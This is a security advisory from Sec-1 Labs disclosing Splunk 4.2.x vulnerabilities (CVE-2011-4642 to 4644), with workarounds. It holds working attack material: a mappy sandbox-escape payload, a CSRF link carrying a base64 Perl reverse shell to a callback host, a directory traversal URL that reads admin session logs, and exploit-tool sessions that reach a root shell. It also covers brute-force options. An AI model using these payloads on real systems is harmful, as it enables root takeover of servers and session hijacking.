Sec-1 Labs Product Security Analysis

Splunk

Gary O'Leary-Steele

Versions Tested: 4.2.2, 4.2.3 and 4.2.4

CONTENTS

1.1 Introducing Splunk **3**

1.2 Project Objectives **3**

2.0 Brief Summary of Findings **4**

2.0 Assessment Results **5**

Exploitation Probability 5

Vulnerability Impact 6

3.0 Vulnerability Details **7**

Remote code execution via specially crafted search request. *7*

Splunkd Directory Traversal Vulnerability *10*

Splunk instances running in "free" mode do not enforce authentication. *11*

Weak Password Policy for account creation *11*

No Account Lockout Policy *12*

4.0 Exploit Information **13**

1.1 INTRODUCING SPLUNK

The following description was taken from the wikiedpedia article; http://en.wikipedia.org/wiki/Splunk

Splunk is enterprise software used to monitor, report and analyze the machine data produced by the applications, systems and infrastructure that run a business. Splunk lets users search, monitor and analyze machine-generated data via web-style interface. Splunk captures indexes and correlates real-time data in a searchable repository from which it can generate graphs, reports, alerts and dashboards.

Splunk aims to make machine data accessible across an organization and identifies data patterns, provides metrics, diagnoses problems and provides intelligence for business operation. Splunk is a horizontal technology used for application management, security and compliance, as well as business and web analytics. Splunk has over 2,300 licensed customers in 74 countries, including almost half of the Fortune 100.

1.2 PROJECT OBJECTIVES

This aim of this project was to assess typical Splunk deployments for vulnerabilities that could be exploited by a malicious attacker. The following are the key objectives defined for this project:

- Identify vulnerabilities that could be exploited to gain control of Splunk components
- Identify vulnerabilities that could be used to corrupt, destroy or modify log data
- Develop exploit code for use in penetration testing
- Prioritise vulnerabilities based upon the ease of exploit, level of effort to remedy, and severity of impact if exploited
- Recommend workarounds and provide an assessment report to the vendor.

2.0 BRIEF SUMMARY OF FINDINGS

A number of vulnerabilities were discovered within the Splunk application. Of the discovered vulnerabilities the following were the most significant;

- By submitting a specially crafted search request to either the management web interface or Splunkd web services API it is possible to execute system commands as the root user (or Localsystem on Windows). An malicious attacker could craft a link that when followed by an administrator would execute arbitrary code as the root user.

- A directory traversal vulnerability was identified that could be exploited to read sensitive log files. A malicious attacker could exploit this flaw to extract the session id belonging to an administrative user and take control of the Splunk server.

- The integrated authentication system does not enforce password complexity or account lockouts. It is therefore possible to launch brute force attacks against the application in an attempt to crack valid user accounts.

- The application exposes detailed host information to an unauthenticated user. This flaw could be exploited to gather information when planning an attack against the system.

2.0 ASSESSMENT RESULTS

This section of the report details each vulnerability along with recommended remedial action. Vulnerabilities are graded based of the probability of exploitation and potential impact.

EXPLOITATION PROBABILITY

Each listed vulnerability is assigned a "Probability" rating based upon how likely the vulnerability is to be exploited. Probability is calculated by considering a number of factors including;

- How difficult the vulnerability is to exploit.
- If the vulnerability can be exploited automatically
- If the vulnerability is or is likely to be exploited by an internet worm or botnet
- What the attacker would achieve by exploiting the flaw

The following table lists each probability evaluation rating along with a list of qualifying factors. One or more of the listed qualifying factors may be considered in each case.

Each vulnerability is evaluated on a case by case basis and therefore other factors that are not listed below may also be considered.

Evaluation	Qualifying Factors
HIGH	The vulnerability can be exploited using exploit code freely available on the internet. The vulnerability could be targeted automatically by an Internet worm or BotNet. The vulnerability could be exploited by an unskilled attacker.
Medium	To exploit the vulnerability the attacker would need to have a working knowledge of how the vulnerability operates. Some customisation to the exploit or exploit procedure is required. The attacker is required to perform a degree of social engineering to exploit the flaw and/or user interaction is required.
Low	To exploit the vulnerability the attacker would need to write custom exploit code. The vulnerability cannot be exploited reliably and/or requires in-depth knowledge of the target systems configuration. Other prerequisites must exist before the exploitation is possible and during the period of the assessment those prerequisites were not met.

VULNERABILITY IMPACT

Each listed vulnerability is assigned an “Impact” rating of “High”, “Medium” or “Low”. Impact is calculated by considering the potential Business Impact if the vulnerability was exploited by a malicious attacker.

Evaluation	Qualifying Factors
HIGH	Successful exploitation could lead to highly privileged access to the target host or data. Exploitation could lead to a Denial of Service condition of a critical host or service.
Medium	Exploitation of the vulnerability will not directly lead to privileged access to the host, service or data. However, vulnerabilities with a Medium impact can often be combined with other flaws to elevate their impact.
Low	This impact rating is assigned to vulnerabilities that, when exploited in isolation, have a negligible impact on security. Typically vulnerabilities that disclose information that may be useful to the attacker are considered to have a low impact.

3.0 VULNERABILITY DETAILS

Vulnerability/Application	Discussion	Workaround

Remote code execution via specially crafted search request.
 	
Impact: HIGH
Probability: HIGH
 	
Reference: VULN-01
Splunk Ref: SPL-45172
CVE: CVE-2011-4642
	The Splunk management interface includes a search application that provides the user with an interface to perform queries against stored log data. A number of build in commands (python scripts) are available to manipulate each result as it is returned by the application. Commands are invoked by supplying a search condition followed the pipe operator "|" and the command to be executed.
	
	A build in command named 'mappy' is provided to call a python expression for each search result. It is assumed that Splunk realises such operation is inherently dangerous and has therefore included a protection mechanism in an attempt to prevent dangerous python code from executing. The protection works by mapping dangerous classes to a safe class named "PermissionRestricted", this class is empty and simply includes a "pass" within the code body. However the sys module is still available without restriction. It is therefore possible to access restricted modules directly using the following syntax:
	
	`sys.modules['os'].system("evil command")`
	
	Technical Example
	
	An exploit tool has been created to exploit this and other vulnerabilities. The following example illustrates this exploit against a standalone Splunk installation running with a free licence.
	
	`G:\git\splunk>python splunk_exploit.py -t 192.168.2.180 -f`
	`[i] Splunkd server found. Version:4.2.3`
	`[i] OS:Linux 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011`
	`[i] Splunk web interface discovered`
	`[i] CVAL:2104706189`
	`[Payload Options]`
	`[1] Pseudo Interactive Shell`
	`[2] Perl Reverse Shell`
	`[3] Command Exec (Blind)`
	`Please select option 1-3:1`
	`shell>id`
	`uid=0(root) gid=0(root) groups=0(root)`
		Remove the mappy.py script or upgrade to version 4.2.5
		
		Invoking the mappy function requires that the user is logged in as a log admin. However there are a number of methods to overcome this restriction as described later in this document. The splunk_exploit.py script supports exploitation via brute force, directory traversal and CSRF methods.

Vulnerability/Application	Discussion	Workaround
Remote code execution via specially crafted search request. ***Continued***	The search feature can be invoked via a Cross Site Request forgery attack (CSRF). **CROSS SITE REQUEST FORGERY DESCRIPTION** Cross site request forgery, also known as session riding and abbreviated as CSRF or XSRF is a type of vulnerability where the attacker is able to trigger a HTTP request from the victim users browser that will automatically invoke a dangerous function within the target application. The vulnerability arises when the target application allows dangerous functions such as password change, funds transfer or administrative operations to be invoked purely on the basis that the user is logged in and has a valid cookie (or any other authentication mechanism that is transmitted automatically by the user). The example that is commonly used is that of a funds transfer system within an internet banking site. If the application only checks that the user is logged in by checking the users session id cookie, a malicious attacker could generate the transfer request by embedding JavaScript code the user will visit, if the user simultaneously has a valid session with his/her bank the funds are transferred to the attackers account. **TECHNICAL DETAILS** The search application is vulnerable to CSRF. Under normal circumstances this would not pose a direct security threat since the result of the search is protected by the Same Origin Policy. However, considering it is possible to invoke dangerous system commands via the mappy script this issue can be exploited to gain a remote root shell on the Splunk server. **EXPLOIT EXAMPLE** A malicious attacker could craft a malicious link to invoke system commands via the mappy.py script as described previously. If an administrator accesses the link whilst logged in the payload would execute on the Splunk server. Accessing the link when not authenticated will prompt for authentication. Upon successfully authenticating the user is redirected and the payload executes. The splunk_exploit.py script can be used to create a CSRF link that will invoke a reverse shell to the attacker. *Continued...*	Do not follow links to the application. Instead log in by typing the URL directly into the browser address bar or use a known good bookmark. **Vendor:** Search requests should be subject to the same anti-csrf protection as the rest of the application.

Vulnerability/Application	Discussion	Workaround

Remote code execution via specially crafted search request.
 	
Continued
	`G:\git\splunk>python splunk_exploit.py -t 192.168.2.180 -c`
	
	`[i] Splunkd server found. Version:4.2.3`
	`[i] OS:Linux 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011`
	`[i] Splunk web interface discovered`
	`[i] CVAL:1659994525`
	`[*] Enter command to run or enter 'revshell' for a perl reverse shell:`
	`cmd>revshell`
	`Enter Callback Host:192.168.2.170`
	`Enter Callback Port:31337`
	
	http://192.168.2.180:8000/en-US/app/search/flashtimeline?q=search index=_internal source=*splunkd.log |mappy x=eval("sys.modules['os'].system(base64.b64decode('cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4yLjE3MCI7JHA9MzEzMzc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw%3D%3D'))")&earliest=0
	
	When the link is accessed by the victim administrator the payload executes and provides a reverse shell to the attacker:
	
	`C:\Users\garyoleary>nc -l -p  31337 -v`
	`listening on [any] 31337 ...`
	`connect to [192.168.2.170] from [192.168.2.180] 42143`
	`sh: no job control in this shell`
	`sh-4.1# id`
	`uid=0(root) gid=0(root) groups=0(root)`
	`sh-4.1#`
		See above.

Vulnerability/Application	Discussion	Workaround

Splunkd Directory Traversal Vulnerability
 	
Impact: HIGH
Probability: HIGH
 	
Reference: VULN-02
Splunk Ref: SPL-45243
CVE: CVE-2011-4643
	The Splunkd web API interface is vulnerable to a directory traversal vulnerability that is exploitable by any Splunk user. By submitting a URL Encoded directory traversal sequence within the URL it is possible to access local configuration/log files containing sensitive data.
	
	TECHNICAL EXAMPLE
	
	The following URL will retrieve the /opt/splunk/var/log/splunk/web_service.log file which will often include the session id belonging to an administrative user.
	
	https://splunkserver:8089/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default
	
	The splunk_exploit.py script included with this report has a feature to extract session id's via this flaw and attempt to add an administrative user. Note, depending on the state of the log file this exploit may need to be left running for some time
	
	`python splunk_exploit.py -t 172.31.2.21 -U bob -P bob -e hacker:hacker`
	`[i] Attemping priv up`
	`[i] Splunkd server found. Version:4.2.4`
	`[i] OS:Linux 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011`
	`[i] Splunk web interface discovered`
	`[i] CVAL:1081676616`
	`[i] Attemping to dump sessions`
	`[i] Session ID's extracted from web_service.log`
	`[SESSION] 6b63639c54595f0ce2617a3ab19195b3`
	`[i] User Added`
	
	`python splunk_exploit.py -t 172.31.2.21 -U hacker -P hacker`
	`<truncated>`
	`[Payload Options]`
	`[1]  Pseudo Interactive Shell`
	`[2]  Perl Reverse Shell`
	`[3]  Command Exec (Blind)`
	`Please select option 1-3:1`
	
	`shell>id`
	`uid=0(root) gid=0(root) groups=0(root)`
		Upgrade to version 4.2.5

Vulnerability/Application	Discussion	Workaround
Splunk instances running in "free" mode do not enforce authentication. **Impact:** **HIGH** **Probability:** **HIGH** **Reference:** VULN-03 **CVE:** CVE-2011-4644	When running in free mode the Splunk server does not require authentication. This means that it is possible to exploit the flaw described in VULN-01 without prior authentication. Aside from the "mappy.py" code execution flaw described in VULN-01, when logged into the management console it is possible to create new data sources to read sensitive files such as /etc/shadow.	Do not run the Splunk server in free mode on any production server or within a network containing sensitive hosts or data.
Weak Password Policy for account creation **Impact:** **Medium** **Probability:** **Medium** **Reference: VULN-04**	During account creation, Splunk does not enforce a password complexity policy to ensure users select a secure password. This allows users to create accounts with passwords as little as 1 character. A malicious attacker could launch a simple dictionary attack against the system in attempt to gain control of valid user accounts. The splunk_exploit.py script can be used to perform a dictionary attack against the system.	Use LDAP authentication and enforce a strong password policy. If using built in spluk authentication ensure that passwords are secure. Use more than 20 characters, containing symbols, numbers and alpha characters. Change the password on regular intervals and only access the management interface via SSL.

Vulnerability/Application	Discussion	Workaround
No Account Lockout Policy **Impact:** Medium **Probability:** Medium **Reference: VULN-06**	The Splunk authentication component does not implement an account lockout procedure to block the user account after numerous concurrent failed authentication attempts. The absence of this feature means that a malicious attacker could launch a sustained dictionary or brute force attack against the system in an attempt to compromise user accounts. The splunk_exploit.py script can be used to perform a dictionary attack against the system.	See Above.

4.0 EXPLOIT INFORMATION

Exploit is provided along with this document to demonstrate each of the flaws outlined in section 3. This exploit code may only be used for penetration testing and proof of concept purposes. To run the exploit you will need to install python 2.7 (Will not work with python 3).

```
Usage: Run splunk_exploit.py -h to see usage options

Options:
  --version           show program's version number and exit
  -h, --help          show this help message and exit
  -t TARGETHOST       IP Address or hostname of target splunk server
  -c                  Generate CSRF URL only
  -f                  Target is configured to use a Free licence and does not
                      permit remote auth
  -w SPLUNKWEB_PORT   The Splunk admin interface port (Default: 8000)
  -d SPLUNKD_PORT     The Splunkd Web API port (Default: 8089)
  -u USERFILE         File containing usernames for use in dictionary attack
  -p PASSFILE         File containing passwords for use in dictionary attack
  -U USERNAME         Admin username (if known)
  -P PASSWORD         Admin pasword (if known)
  -e USERPAIR         Attempt to add admin user via priv up directory
                      traversal
                      magic. Accepts username:password
```